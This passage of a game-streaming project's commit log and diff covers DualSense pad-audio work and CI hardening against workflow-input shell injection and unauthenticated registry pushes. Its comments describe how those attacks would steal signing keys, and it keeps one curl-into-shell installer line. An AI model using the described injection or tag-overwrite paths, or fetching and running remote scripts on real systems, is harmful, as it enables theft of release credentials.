would have had nothing to gate, and the renderer would have sat on a permanently
empty plane with every other piece looking correct.

Threaded as an explicit `padAudioOk` on nativeConnect rather than advertised
unconditionally: the cap makes a Windows host provision pad endpoints at startup,
and a user who has pad audio switched off should not pay for that.

Found by tracing what an on-glass run against a real host would actually need,
not by a test — there is no test that could have caught it, since both halves are
individually well-formed.
2026-08-03 00:04:14 +02:00
enricobuehler e8499e6131 feat(android): wire tier-A pad audio through the capture lifecycle and settings
apple / swift (pull_request) Successful in 1m19s
apple / screenshots (pull_request) Skipped
ci / web (pull_request) Successful in 2m4s
android / android (pull_request) Successful in 5m27s
ci / rust (pull_request) Canceled after 3m50s
ci / rust-arm64 (pull_request) Canceled after 3m50s
ci / docs-site (pull_request) Canceled after 31s
windows / build (aarch64-pc-windows-msvc) (pull_request) Canceled after 0s
windows / build (x86_64-pc-windows-msvc) (pull_request) Canceled after 0s
The Kotlin half. Turns out Android needs to claim nothing extra: `uac-host`
claims the pad's audio interface itself through usbfs on the fd, and usbfs
claims are per interface, so the HID claim `HidUsbLink` already holds is
untouched. The link therefore surrenders only its file descriptor.

Two orderings carry the whole design, and both are easy to get wrong:

- **Start on the first report, not at claim time.** The wire pad index does not
  exist until the router opens a slot, and the host addresses the 0xD1 stream by
  that index — starting earlier would declare capabilities for a pad that has no
  index yet.
- **Stop before the link closes.** `usb.stop()` closes the connection whose
  descriptor the render thread borrows, so `padAudio.stop()` runs first, at the
  top of `DsCapture.stop()`. `nativeStopPadAudio` does not return until the
  thread is joined, which is what makes the borrow sound rather than merely
  usually-fine.

`DsCapture` decides WHEN (it owns the wire index and the link lifetime);
`StreamScreen` decides WHETHER (it owns the session handle and the settings).
The capture stays ignorant of sessions.

Settings: `padHaptics` defaults on — it is the whole point, and this client's
rumble already drives the same actuators, so tier A is a strict improvement.
`padSpeaker` defaults OFF: it is a small loudspeaker in the user's hands playing
audio they can already hear, and surprising someone with that is worse than
making them opt in.

Verified: APK builds, and both JNI entry points are exported in the shipped
arm64 .so — a missing one would be an UnsatisfiedLinkError only at runtime.
12 Rust tests, 0 clippy findings, fmt clean.
2026-08-02 23:51:28 +02:00
enricobuehler a10bde39bb feat(android): declare pad-audio caps and take tier-A pads off wire rumble
The two things that decide whether WP9 does anything at all on a device, both
failing silently rather than loudly if missed.

**Capability bits.** The host emits 0xD1 only toward pads that declared they can
render it (arrival flags 8/9). Without `set_pad_audio_caps` the renderer would
sit on a permanently empty plane and look like a decode bug. Declared when the
stream opens, withdrawn when it stops.

**Rumble arbitration.** `valid_flag0` bit 1 (HAPTICS_SELECT) *disables* audio
haptics and selects classic rumble, and `DsDevice` sets it on every rumble write
— as Linux's hid-playstation and SDL both do. One replayed rumble command would
mute the voice coils the 0xD1 stream is driving, for the rest of the session.
Tier A and tier C are mutually exclusive in the pad's firmware, so the
arbitration selects and never blends.

Suppression sits at `nativeNextRumble`, the pull point, rather than in Kotlin:
it keeps the rule next to the reason and covers every caller. The registry is an
atomic bitmask because the reader is the rumble poll thread and must not block
behind a start/stop on the JNI thread.

Order matters on teardown: the capability is withdrawn before the pad returns to
wire rumble, so the host has stopped sending 0xD1 before tier C resumes and the
two never overlap.

`nativeStartPadAudio`/`nativeStopPadAudio` now take the wire pad index, since
both the capability and the arbitration are per-pad. Out-of-range indices are
rejected rather than wrapped into another pad's slot.

12 host tests (2 new, including one pinning that an out-of-range index cannot
shift the mask into undefined territory), 0 clippy findings, check clean on all
three Android ABIs.
2026-08-02 23:44:51 +02:00
enricobuehler b5f91d50bb feat(android): tier-A pad audio — the 0xD1 plane on the pad's USB endpoint (WP9)
The Android twin of `pf-client-core`'s pad_audio: drain the host's per-pad
DualSense streams, Opus-decode haptics (kind 0) and speaker (kind 1), interleave
into the pad's own 4-channel layout, and render on the pad itself.

Every other client hands that stream to the platform's audio graph. Android
cannot: AOSP's UsbAlsaManager denylists the DualSense's output by VID/PID, so
the kernel enumerates the pad's playback node and the framework discards it —
`hasOutput: false`, nothing for setPreferredDevice to target, /dev/snd closed by
SELinux, and UsbRequest rejects non-bulk/interrupt endpoints. So this drives the
pad's isochronous endpoint directly via uac-host on the descriptor Java owns.

That is measured, not assumed. On a Nothing Phone (3): the claim succeeds
unprivileged, the gamepad and the pad's microphone both keep working, and the
underrun-free floor is 4 ms — holding under eight-core load with the SoC in
severe thermal throttling. The renderer runs at 6 ms, one step of headroom,
because the same measurement found transient events that are not depth-dependent.

Structured to the crate's own convention: the mixer and PLC are ungated so they
compile and unit-test in the host workspace (8 tests), while everything touching
an Android-only dependency is cfg'd to android. Two details worth review:

- The kinds arrive on different cadences (5 ms vs 10 ms), so each has its own
  write cursor and both shift together on overflow — a haptics-only session
  renders with a silent speaker pair instead of stalling on a kind that will
  never arrive, and the two can never skew.
- An unrecognised kind is dropped rather than folded into the coil pair. A
  `min(1)` clamp would have rendered a future kind straight into the actuators.

Lifecycle mirrors MicCapture: dropping the handle joins the thread, and
nativeStopPadAudio returns only once it has, so Kotlin may close the
UsbDeviceConnection as soon as it returns and not before.

usbfs-iso/uac-host enter as git dependencies pinned by revision — a transport
under a real-time deadline should move when we choose. They become version
dependencies once published to crates.io.
2026-08-02 23:39:25 +02:00
enricobuehlerandClaude Fable 5 ed3d236ab8 feat(pad-audio): DualSense audio haptics + speaker, host->client end to end
The 0xD1 pad-audio plane streams a DualSense's voice-coil haptics (back
channel pair, 5 ms Opus frames) and speaker (front pair, 10 ms) per pad from
a Windows host to the SDL clients, which render them into a USB DualSense's
own 4-channel audio device.

Wire (punktfunk-core, ABI v15): PAD_AUDIO_MAGIC 0xD1 [pad][kind][seq][pts]
[opus]; CLIENT_CAP_PAD_AUDIO 0x04 / HOST_CAP_PAD_AUDIO 0x20; per-pad render
capability rides GamepadArrival flags bits 8/9, sent only toward a host that
advertised its cap so old hosts see byte-identical arrivals; silence is a
frozen seq (mic-mute discipline), loss is a seq gap concealed via
AudioGapTracker. HidOutput::AudioCtl (0xCD kind 0x06) forwards the 0x02
report's audio-control bytes 5..=10 change-only, value-deduped, with a
once-per-pad "title asserted haptics-select" diagnosis log.

Windows host endpoint provider (audio/windows/pad_endpoint.rs): per-pad
render endpoints are additional devnode instances of Valve's Steam Streaming
Speakers driver (SetupDiRegisterDeviceInfo, NOT the class installer - it
needs an interactive window station), stamped with DualSense identity: desc
"Wireless Controller", device name "DualSense Wireless Controller",
ContainerId = the virtual pad's PFDS GUID, 4ch/48k format triplet.
IPropertyStore route first, ACL-repaired registry fallback (the MMDevices
keys deny writes even to SYSTEM; the owner's implicit WRITE_DAC + an ACE for
S-1-5-18 resolved by SID is the way in). Provisioned at host startup
(PUNKTFUNK_PAD_AUDIO, PUNKTFUNK_PAD_AUDIO_SLOTS, default 1), idempotent via
a persisted PunktfunkPadIndex marker; pad endpoints are structurally
ineligible for the mic/loopback wiring plan and guarded against default-
device theft; capture is WASAPI loopback on the stamped endpoint. Devtest:
punktfunk-host pad-endpoint ensure|remove|status.

Host service (native/pad_audio.rs): per-(session,pad) thread, loopback 4ch
-> pair splitter -> per-kind stereo Opus (48k LowDelay CBR 64k) -> per-kind
silence gate (opens at peak>=1e-3, 250 ms hangover, gated = no send + frozen
seq) -> datagrams. Spawned from the native input pump when a DualSense/Edge
arrival carries audio bits and both caps negotiated; idempotent re-arrivals;
reaped on remove and teardown.

Client tier A (pf-client-core/pad_audio.rs): settings pad_haptics (default
on) and pad_speaker (default "pad"); tier A = wired USB DS5/Edge via SDL
connection state with an audio-sibling fallback; correlation maps the SDL
HID path to the pad's own render endpoint (Windows: ContainerId match +
4ch gate via registry; Linux: Sony sink signature); renderer decodes both
kinds into a quad interleave and plays it on the pad's endpoint (WASAPI
autoconvert / PipeWire target.object, 240-2400 frame ring floor,
dont-reconnect so an unplug never re-routes haptics to the desktop
speakers). SDL's DualSense driver sets "disable audio haptics" whenever it
drives rumble emulation, so tier-A pads suppress wire rumble and send one
cleared-enable-bits effects packet to keep the actuators live; AudioCtl
bytes fold back into the effects packet at report-minus-one offsets.

Verification: punktfunk-core 265 tests (macOS) + clippy -D warnings (mac +
Linux docker); pf-inject 85 tests (Linux docker); punktfunk-host cargo
check + clippy + 19 pad tests + 46 audio-module tests (Windows box);
pf-client-core 30 tests + clippy (Linux docker CI image) + cargo check
(Windows box); punktfunk-client-session clippy (Linux) + check (Windows);
cargo fmt --all --check clean on the final tree. NOT yet verified: any
on-glass run (host deploy + real title + physical pad), the stamp-route
split at runtime, exclusive-mode Initialize isolation, Linux-host emission
(the per-pad PipeWire sink is not in this change - Windows hosts only).
Scope excluded deliberately: tier B (Apple CoreHaptics) and tier C
(haptics->rumble derivation), pad_speaker="mix", Android leg, settings UI
surfaces (keys are serde-defaulted), GameStream-plane arrivals (audio_caps
always 0 there).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-01 12:07:06 +02:00
187 changed files with 16453 additions and 1104 deletions
+68
View File
@@ -0,0 +1,68 @@
#!/usr/bin/env bash
# Assert that a builder image's :latest is the SAME manifest as its content key, and
# re-point it when it isn't.
#
# This is what we do instead of pinning consumers by @sha256: digest
# (security-review-2026-08-05, H-6 — see the reasoning at the top of docker.yml). The
# content key is a hash of the ci/ tree, so "which image should :latest be?" has an
# answer derivable from the commit alone. Checking it on every run turns :latest from a
# tag someone remembered to move into a function of the tree.
#
# Two different things make them diverge and neither is distinguishable from here:
#
# - Someone overwrote :latest out of band. Post-fix that needs the push credential,
# but it is exactly the H-6 attack and it must not pass silently.
# - ci/ was reverted. The older key is already a cache hit, so nothing rebuilds and
# nothing re-points :latest — it stays on the newer build forever while every
# consumer pulls a builder that does not match the tree it is building. That bug
# predates this script.
#
# Both are repaired identically, so: repair, and shout. Failing the build instead would
# turn a legitimate revert into a red main with no way forward.
#
# Reads go to the anonymous port, the single write to the authenticated one.
set -euo pipefail
IMAGE="${1:?usage: reconcile-latest.sh <image> <content-key>}"
KEY="${2:?usage: reconcile-latest.sh <image> <content-key>}"
: "${CI_REGISTRY:?CI_REGISTRY not set}"
: "${CI_REGISTRY_PUSH:?CI_REGISTRY_PUSH not set}"
: "${CI_REGISTRY_PASSWORD:?CI_REGISTRY_PASSWORD not set}"
ACCEPT='Accept: application/vnd.docker.distribution.manifest.v2+json, application/vnd.oci.image.manifest.v1+json, application/vnd.oci.image.index.v1+json, application/vnd.docker.distribution.manifest.list.v2+json'
# Digest of a tag, or empty if the tag does not exist. Never fails the script itself —
# "missing" is a state this has to reason about, not an error to abort on.
digest_of() {
curl -sfI -H "$ACCEPT" "http://$CI_REGISTRY/v2/$IMAGE/manifests/$1" 2>/dev/null \
| tr -d '\r' | sed -n 's/^[Dd]ocker-[Cc]ontent-[Dd]igest: //p' || true
}
key_digest=$(digest_of "$KEY")
latest_digest=$(digest_of latest)
if [ -z "$key_digest" ]; then
echo "::error::$IMAGE:$KEY has no manifest — the build or push above did not land"
exit 1
fi
if [ "$key_digest" = "$latest_digest" ]; then
echo "$IMAGE:latest == :$KEY ($key_digest)"
exit 0
fi
echo "::warning::$IMAGE:latest did not match its content key :$KEY — re-pointing it. If ci/ was not just reverted, someone overwrote this tag out of band: check the registry access log on home-ci-core."
echo " was: ${latest_digest:-<no :latest tag>}"
echo " wanted: $key_digest (:$KEY)"
tmp=$(mktemp)
trap 'rm -f "$tmp"' EXIT
media_type=$(curl -sfI -H "$ACCEPT" "http://$CI_REGISTRY/v2/$IMAGE/manifests/$KEY" \
| tr -d '\r' | sed -n 's/^[Cc]ontent-[Tt]ype: //p')
curl -sf -H "$ACCEPT" -o "$tmp" "http://$CI_REGISTRY/v2/$IMAGE/manifests/$KEY"
curl -sf -u "ci:$CI_REGISTRY_PASSWORD" -X PUT -H "Content-Type: $media_type" \
--data-binary @"$tmp" "http://$CI_REGISTRY_PUSH/v2/$IMAGE/manifests/latest"
now=$(digest_of latest)
[ "$now" = "$key_digest" ] || { echo "::error::re-point failed: :latest is $now"; exit 1; }
echo "$IMAGE:latest re-pointed to $key_digest"
+19 -2
View File
@@ -41,9 +41,23 @@ jobs:
env:
REGISTRY_TOKEN: ${{ secrets.REGISTRY_TOKEN }}
UPDATE_MANIFEST_KEY: ${{ secrets.UPDATE_MANIFEST_KEY }}
# Through the ENVIRONMENT, never interpolated into the script body. A `${{ }}` expansion
# is a raw textual substitution performed BEFORE the shell sees the line, so a
# workflow_dispatch input containing shell syntax executes as this step — and this is the
# step holding UPDATE_MANIFEST_KEY, the Ed25519 key every host pins to decide whether an
# update is real (2026-08-05 review H-6). As `$INPUT_TAG` it is only ever data.
INPUT_TAG: ${{ inputs.tag }}
run: |
set -euo pipefail
TAG="${{ inputs.tag }}"
TAG="$INPUT_TAG"
# Shape-check before the value reaches a URL or a filename: tags are `vX.Y.Z[-suffix]`.
case "$TAG" in
v[0-9]*) ;;
*) echo "refusing to publish for a tag that is not vX.Y.Z: $TAG" >&2; exit 1 ;;
esac
case "$TAG" in
*[!A-Za-z0-9.+_-]*) echo "tag has characters no release tag has: $TAG" >&2; exit 1 ;;
esac
case "$TAG" in
*-*) echo "pre-release tag $TAG — not publishing to the stable update feed"; exit 0 ;;
esac
@@ -67,4 +81,7 @@ jobs:
GITEA_TOKEN: ${{ secrets.REGISTRY_TOKEN }}
DISCORD_RELEASE_WEBHOOK: ${{ secrets.DISCORD_RELEASE_WEBHOOK }}
ALLOW_PRERELEASE: ${{ inputs.allow_prerelease }}
run: bash scripts/ci/discord-announce.sh "${{ inputs.tag }}"
# Same reasoning as the publish step above: the input is data in the environment, never
# text spliced into the command line.
INPUT_TAG: ${{ inputs.tag }}
run: bash scripts/ci/discord-announce.sh "$INPUT_TAG"
+6 -1
View File
@@ -29,4 +29,9 @@ jobs:
steps:
- uses: actions/checkout@v4
- name: Tier-3 GPU stream benchmark
run: bash scripts/bench/gpu-stream.sh "${{ inputs.mode || '1920x1080x120' }}" 12
# Through the environment, not interpolated into the command line: a `${{ }}` expansion is
# substituted before the shell parses the line, so an input carrying shell syntax would run
# as this step (2026-08-05 review H-6).
env:
BENCH_MODE: ${{ inputs.mode || '1920x1080x120' }}
run: bash scripts/bench/gpu-stream.sh "$BENCH_MODE" 12
+4 -1
View File
@@ -46,7 +46,10 @@ env:
REGISTRY: git.unom.io
OWNER: unom
PACKAGE: punktfunk-decky # generic-registry package name
PLUGIN: punktfunk # plugin.json "name" == zip top-level dir
# The plugin's ON-DISK dir == the zip's top-level dir. Deliberately NOT plugin.json "name"
# (that is the brand-cased label Decky lists, and it locates a plugin by matching it, not by
# the folder) — see clients/decky/scripts/package.sh.
PLUGIN: punktfunk
jobs:
build-publish:
+107 -21
View File
@@ -3,13 +3,18 @@
# Two very different image families now:
#
# BUILDER images (punktfunk-rust-ci{,-noble,-arm64cross}, punktfunk-fedora{,44}-rpm)
# live on the LAN registry (home-ci-core, 192.168.1.58:5010 — unom/infra
# runners/ci-core/) and are CONTENT-KEYED: the tag is a hash of what they are built
# from (the ci/ tree, + rust-toolchain.toml for the cross image), and a build only
# happens when that key has no manifest yet. A push that doesn't touch ci/ costs one
# curl per image (~seconds), pushes nothing over the WAN, and mints no per-SHA tag
# debris on the runners — the failure mode that filled the fleet's disks. `:latest`
# is re-pushed alongside every new key and is what the consuming workflows pin.
# live on the LAN registry (home-ci-core — unom/infra runners/ci-core/) and are
# CONTENT-KEYED: the tag is a hash of what they are built from (the ci/ tree, +
# rust-toolchain.toml for the cross image), and a build only happens when that key
# has no manifest yet. A push that doesn't touch ci/ costs one curl per image
# (~seconds), pushes nothing over the WAN, and mints no per-SHA tag debris on the
# runners — the failure mode that filled the fleet's disks. `:latest` is re-pushed
# alongside every new key and is what the consuming workflows pin.
#
# READS come from :5010 and need no credential. WRITES go to :5011 and need
# CI_REGISTRY_PASSWORD. Same store behind both — a registry keys by repository name,
# not by the host:port the client used — so an image pushed to :5011 is the same
# image every consumer pulls from :5010.
#
# APP images (punktfunk-web, punktfunk-docs) are deployables: they keep going to the
# Gitea registry (git.unom.io) with :latest + :sha-<8> (+ :vX.Y.Z on tags), because
@@ -17,8 +22,38 @@
#
# Host and clients are intentionally NOT containerized (see CLAUDE.md "What's left").
#
# REGISTRY_TOKEN: repo Actions secret, a PAT with write:package scope (app images only —
# the LAN registry is unauthenticated inside the LAN).
# REGISTRY_TOKEN: repo Actions secret, a PAT with write:package scope (app images).
# CI_REGISTRY_PASSWORD: repo Actions secret, the LAN registry's push credential for user
# `ci`. Generated on ci-core into /srv/ci/stack/registry-secret; rotate in both places.
#
# --- security-review-2026-08-05 H-6, FIXED 2026-08-05 -------------------------------
# The registry used to accept anonymous pushes from any LAN peer, and every
# secret-bearing job in this repo runs INSIDE an image pulled from it. Attacker
# position #1 of the project's own threat model did not need to break any signing
# logic: push one tag, and the next android.yml run executes their code in the same job
# that does `echo "$RELEASE_KEYSTORE_BASE64" | base64 -d > release.jks`. Same shape for
# rpm.yml (RPM_GPG_PRIVATE_KEY) and android-promote.yml (SERVICE_ACCOUNT_JSON).
#
# The infra half is done (unom/infra runners/ci-core/): :5010 serves GET/HEAD only and
# refuses everything else with 405, :5011 demands basic auth on every request. The half
# in this file is done below: pushes and release-tag manifest PUTs authenticate.
#
# ⚠ On the second half as the review originally worded it — "pin consumers by @sha256:
# digest". We deliberately do something else, because after authentication the digest
# pin no longer buys what it was meant to buy. The set of people who can overwrite a tag
# is now exactly the set who can push to main and edit a pinned digest in this very
# file: a pin defends against nobody it did not already trust, while costing a
# two-commit dance on every ci/ change (~3x a month) during which consumers silently run
# a builder image that predates the ci/ change they are testing.
#
# What actually closes the residual gap — a tag quietly overwritten out of band — is
# making :latest a CHECKED function of the tree instead of a tag someone remembered to
# move. The "Reconcile :latest" step below asserts on every run that :latest and
# :ck-$KEY are the same digest, repairs it when they are not, and says so loudly. That
# catches an out-of-band overwrite on the next push to main, needs no churn, and fixes
# a real pre-existing bug on the side: reverting ci/ used to leave :latest pointing at
# the newer build forever. Revisit inline digest pins if the push credential ever leaves
# the maintainer trust set.
#
# Bootstrap note: consuming workflows pull <LAN>/punktfunk-rust-ci:latest, so the LAN
# registry must hold a seeded :latest once (done 2026-07-29 from the last Gitea-registry
@@ -42,7 +77,10 @@ on:
env:
REGISTRY: git.unom.io
OWNER: unom
# Read port (anonymous, GET/HEAD only) and write port (basic auth). Two doors onto
# one store; see the header.
CI_REGISTRY: 192.168.1.58:5010
CI_REGISTRY_PUSH: 192.168.1.58:5011
jobs:
builders:
@@ -98,21 +136,40 @@ jobs:
echo "hit=false" >> "$GITHUB_OUTPUT"
fi
# Tagged for the WRITE port: :5010 refuses a push outright, so a tag that names it
# can only fail. Consumers still pull the identical image from :5010.
- name: Build
if: steps.exists.outputs.hit == 'false'
# --pull is cheap now: base images come through the ci-core pull-through mirror.
run: |
docker build --pull ${{ matrix.buildargs }} \
-f "${{ matrix.dockerfile }}" \
-t "$CI_REGISTRY/${{ matrix.image }}:$KEY" \
-t "$CI_REGISTRY/${{ matrix.image }}:latest" \
-t "$CI_REGISTRY_PUSH/${{ matrix.image }}:$KEY" \
-t "$CI_REGISTRY_PUSH/${{ matrix.image }}:latest" \
ci
- name: Log in to the LAN registry
run: |
echo "$CI_REGISTRY_PASSWORD" | docker login "$CI_REGISTRY_PUSH" -u ci --password-stdin
env:
CI_REGISTRY_PASSWORD: ${{ secrets.CI_REGISTRY_PASSWORD }}
- name: Push
if: steps.exists.outputs.hit == 'false'
run: |
docker push "$CI_REGISTRY/${{ matrix.image }}:$KEY"
docker push "$CI_REGISTRY/${{ matrix.image }}:latest"
docker push "$CI_REGISTRY_PUSH/${{ matrix.image }}:$KEY"
docker push "$CI_REGISTRY_PUSH/${{ matrix.image }}:latest"
# :latest must be whatever ci/ says it is, on every run — not only on the runs that
# happened to build. Two things break that: an out-of-band overwrite (the H-6
# attack, now only reachable by someone holding the push credential), and a plain
# revert of ci/, which leaves :latest on the newer build because the older key is
# already a cache hit and nothing re-points it. Both look identical from here and
# both are repaired the same way, so repair and shout rather than fail the build.
- name: Reconcile :latest with the content key
run: .gitea/scripts/reconcile-latest.sh "${{ matrix.image }}" "$KEY"
env:
CI_REGISTRY_PASSWORD: ${{ secrets.CI_REGISTRY_PASSWORD }}
# A release pins reproducible builder images without any rebuild: copy the key's
# manifest to a vX.Y.Z tag via the registry API (no image bytes move).
@@ -124,8 +181,19 @@ jobs:
| tr -d '\r' | sed -n 's/^[Cc]ontent-[Tt]ype: //p')
curl -sf -H "$ACCEPT" -o /tmp/manifest.json \
"http://$CI_REGISTRY/v2/${{ matrix.image }}/manifests/$KEY"
curl -sf -X PUT -H "Content-Type: $MT" --data-binary @/tmp/manifest.json \
"http://$CI_REGISTRY/v2/${{ matrix.image }}/manifests/$GITHUB_REF_NAME"
curl -sf -u "ci:$CI_REGISTRY_PASSWORD" -X PUT -H "Content-Type: $MT" \
--data-binary @/tmp/manifest.json \
"http://$CI_REGISTRY_PUSH/v2/${{ matrix.image }}/manifests/$GITHUB_REF_NAME"
env:
CI_REGISTRY_PASSWORD: ${{ secrets.CI_REGISTRY_PASSWORD }}
# Today the job container is ephemeral (the ubuntu-24.04 label is a docker://
# image), so the credential docker login wrote would die with it anyway. Don't
# make that a load-bearing assumption about a runner label somebody may change to
# a host runner later.
- name: Log out of the LAN registry
if: always()
run: docker logout "$CI_REGISTRY_PUSH" || true
# The aarch64 CROSS builder — a SEPARATE job because it is `FROM punktfunk-rust-ci:latest`
# (the LAN copy) and so must not race the matrix entry that publishes that base. Consumed
@@ -164,15 +232,26 @@ jobs:
run: |
docker build --pull \
-f ci/rust-ci-arm64cross.Dockerfile \
-t "$CI_REGISTRY/$IMAGE:$KEY" \
-t "$CI_REGISTRY/$IMAGE:latest" \
-t "$CI_REGISTRY_PUSH/$IMAGE:$KEY" \
-t "$CI_REGISTRY_PUSH/$IMAGE:latest" \
.
- name: Log in to the LAN registry
run: |
echo "$CI_REGISTRY_PASSWORD" | docker login "$CI_REGISTRY_PUSH" -u ci --password-stdin
env:
CI_REGISTRY_PASSWORD: ${{ secrets.CI_REGISTRY_PASSWORD }}
- name: Push
if: steps.exists.outputs.hit == 'false'
run: |
docker push "$CI_REGISTRY/$IMAGE:$KEY"
docker push "$CI_REGISTRY/$IMAGE:latest"
docker push "$CI_REGISTRY_PUSH/$IMAGE:$KEY"
docker push "$CI_REGISTRY_PUSH/$IMAGE:latest"
- name: Reconcile :latest with the content key
run: .gitea/scripts/reconcile-latest.sh "$IMAGE" "$KEY"
env:
CI_REGISTRY_PASSWORD: ${{ secrets.CI_REGISTRY_PASSWORD }}
- name: Tag for release
if: startsWith(github.ref, 'refs/tags/v')
@@ -182,8 +261,15 @@ jobs:
| tr -d '\r' | sed -n 's/^[Cc]ontent-[Tt]ype: //p')
curl -sf -H "$ACCEPT" -o /tmp/manifest.json \
"http://$CI_REGISTRY/v2/$IMAGE/manifests/$KEY"
curl -sf -X PUT -H "Content-Type: $MT" --data-binary @/tmp/manifest.json \
"http://$CI_REGISTRY/v2/$IMAGE/manifests/$GITHUB_REF_NAME"
curl -sf -u "ci:$CI_REGISTRY_PASSWORD" -X PUT -H "Content-Type: $MT" \
--data-binary @/tmp/manifest.json \
"http://$CI_REGISTRY_PUSH/v2/$IMAGE/manifests/$GITHUB_REF_NAME"
env:
CI_REGISTRY_PASSWORD: ${{ secrets.CI_REGISTRY_PASSWORD }}
- name: Log out of the LAN registry
if: always()
run: docker logout "$CI_REGISTRY_PUSH" || true
# Deployable app images — unchanged flow, Gitea registry, per-SHA + release tags.
apps:
+10 -2
View File
@@ -38,10 +38,18 @@ jobs:
with:
fetch-depth: 0
# Pinned syft (keep in sync with the version validated against this repo; bump deliberately).
#
# The BINARY version was pinned; the INSTALLER was not — it was fetched from `main` and piped
# into a shell, so whatever that branch happened to say at job time ran here, with the job's
# environment (2026-08-05 review H-6). Pinning the script to the same tag as the binary makes
# the whole step reproducible: bump the tag in both places together.
- name: Install syft
env:
SYFT_VERSION: v1.49.0
run: |
curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh \
| sh -s -- -b /usr/local/bin v1.49.0
set -euo pipefail
curl -sSfL "https://raw.githubusercontent.com/anchore/syft/${SYFT_VERSION}/install.sh" \
| sh -s -- -b /usr/local/bin "$SYFT_VERSION"
- name: Generate SBOM
run: |
git config --global --add safe.directory "$PWD"
Generated
+19
View File
@@ -2893,6 +2893,7 @@ dependencies = [
"ureq",
"wasapi",
"windows 0.62.2 (git+https://github.com/microsoft/windows-rs?rev=acb5a1a7441033d9312b16842af02eb0c2b403dc)",
"winreg",
]
[[package]]
@@ -3346,6 +3347,8 @@ dependencies = [
"opus",
"punktfunk-core",
"tracing",
"uac-host",
"usbfs-iso",
]
[[package]]
@@ -4985,6 +4988,14 @@ version = "1.20.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b6f5e870be6c3b371b77fe0ee0bafb859fa4964b4404c27de1d380043c4dda20"
[[package]]
name = "uac-host"
version = "0.1.0"
source = "git+https://github.com/unom-io/usbfs-iso?rev=f3de1fd62cec271d07f45664dc464f23e423e721#f3de1fd62cec271d07f45664dc464f23e423e721"
dependencies = [
"usbfs-iso",
]
[[package]]
name = "uds_windows"
version = "1.2.1"
@@ -5064,6 +5075,14 @@ dependencies = [
"serde",
]
[[package]]
name = "usbfs-iso"
version = "0.1.0"
source = "git+https://github.com/unom-io/usbfs-iso?rev=f3de1fd62cec271d07f45664dc464f23e423e721#f3de1fd62cec271d07f45664dc464f23e423e721"
dependencies = [
"libc",
]
[[package]]
name = "usbip-sim"
version = "0.8.0"
+157 -9
View File
@@ -10,7 +10,7 @@
"name": "MIT OR Apache-2.0",
"identifier": "MIT OR Apache-2.0"
},
"version": "0.23.0"
"version": "0.24.0"
},
"paths": {
"/api/v1/clients": {
@@ -1052,7 +1052,7 @@
"library"
],
"summary": "Fetch one cover-art image for a library entry",
"description": "Resolves `kind` (`portrait` | `hero` | `logo` | `header`) for the given library id and streams\nthe image bytes. For a Steam title, the host's own local Steam cache is tried first (exact —\nit's what the user's Steam client already shows for it), the public Steam CDN's flat URL\nconvention as a fallback (newer titles' CDN assets can live at a per-asset-hash path the host\ncan't predict, in which case this 404s and the client falls through to its next art candidate).\nOnly Steam ids are backed today; any other store 404s.",
"description": "Resolves `kind` (`portrait` | `hero` | `logo` | `header`) for the given library id and streams\nthe image bytes. Any id stored in the host's catalog (manual entries, provider-synced entries,\nand a library plugin's claimed-store entries) serves its local art file. A Steam title falls back\nto the in-host scanner's resolver: the host's own local Steam cache first (exact — it's what the\nuser's Steam client already shows for it), the public Steam CDN's flat URL convention second\n(newer titles' CDN assets can live at a per-asset-hash path the host can't predict, in which case\nthis 404s and the client falls through to its next art candidate).",
"operationId": "getLibraryArt",
"parameters": [
{
@@ -1307,7 +1307,7 @@
"library"
],
"summary": "Replace a provider's library entries (declarative reconcile)",
"description": "Atomically replaces the full entry set owned by `{provider}` (RFC §8): the payload is the\nprovider's desired list, keyed by its own stable `external_id` — the host diffs, keeps each\nsurviving title's host id stable across reconciles, drops orphans, and never touches manual\nentries or other providers'. An empty array removes everything the provider owns. Emits\n`library.changed` with the provider as `source`.",
"description": "Atomically replaces the full entry set owned by `{provider}` (RFC §8): the payload is the\nprovider's desired list, keyed by its own stable `external_id` — the host diffs, keeps each\nsurviving title's host id stable across reconciles, drops orphans, and never touches manual\nentries or other providers'. An empty array removes everything the provider owns. Emits\n`library.changed` with the provider as `source`.\n\n`?store=` additionally **claims** that store for the provider: its entries then surface with\ndeterministic `<store>:<external_id>` ids and the store's own badge, instead of opaque\n`custom:<id>` ones — which is what lets a library plugin reproduce the entries an in-host scanner\nused to produce, right down to the GameStream app ids and client-side art caches. One provider\nper store; a second claimant gets 409. While a claim is held the matching built-in scanner is\nsuppressed, so the two never double-list. The claim is released by `DELETE`, not by an empty\nreconcile (a store can legitimately have zero installed titles).",
"operationId": "reconcileProviderEntries",
"parameters": [
{
@@ -1318,6 +1318,15 @@
"schema": {
"type": "string"
}
},
{
"name": "store",
"in": "query",
"description": "Claim this store for the provider ([a-z0-9_-], `custom`/`manual` reserved)",
"required": false,
"schema": {
"type": "string"
}
}
],
"requestBody": {
@@ -1348,7 +1357,7 @@
}
},
"400": {
"description": "Invalid provider id or payload",
"description": "Invalid provider id, store id, or payload",
"content": {
"application/json": {
"schema": {
@@ -1367,6 +1376,16 @@
}
}
},
"409": {
"description": "That store is already claimed by another provider",
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/ApiError"
}
}
}
},
"500": {
"description": "Could not persist the catalog",
"content": {
@@ -4159,7 +4178,8 @@
"tier",
"platforms",
"compatible",
"update_available"
"update_available",
"categories"
],
"properties": {
"author": {
@@ -4172,6 +4192,13 @@
],
"description": "A revocation covering the catalogued version — do not offer this without shouting."
},
"categories": {
"type": "array",
"items": {
"type": "string"
},
"description": "What kind of plugin this is — the console filters Browse by these, and the Game sources\nsurface's \"Add a source\" rail shows exactly the `library` ones (design D5/D6)."
},
"compatible": {
"type": "boolean",
"description": "Can this host install it?"
@@ -4179,6 +4206,13 @@
"description": {
"type": "string"
},
"detected": {
"type": [
"boolean",
"null"
],
"description": "Whether the launcher this plugin scans looks **installed on this host** (design D8), from the\nindex's own existence probes. `null` = the entry declares no probes for this platform, which\nthe console renders as \"unknown\" rather than \"not installed\"."
},
"homepage": {
"type": [
"string",
@@ -4365,6 +4399,17 @@
],
"description": "The external provider owning this entry (RFC §8), set ONLY by the provider reconcile\nAPI — `None` = a manual entry, which no provider operation ever touches, and which the\nmanual CRUD alone may edit (the converse holds too: manual CRUD refuses provider-owned\nentries, so ownership is never ambiguous)."
},
"role": {
"$ref": "#/components/schemas/GameRole",
"description": "Whether this entry is a game or the launcher itself — see [`GameRole`]."
},
"store": {
"type": [
"string",
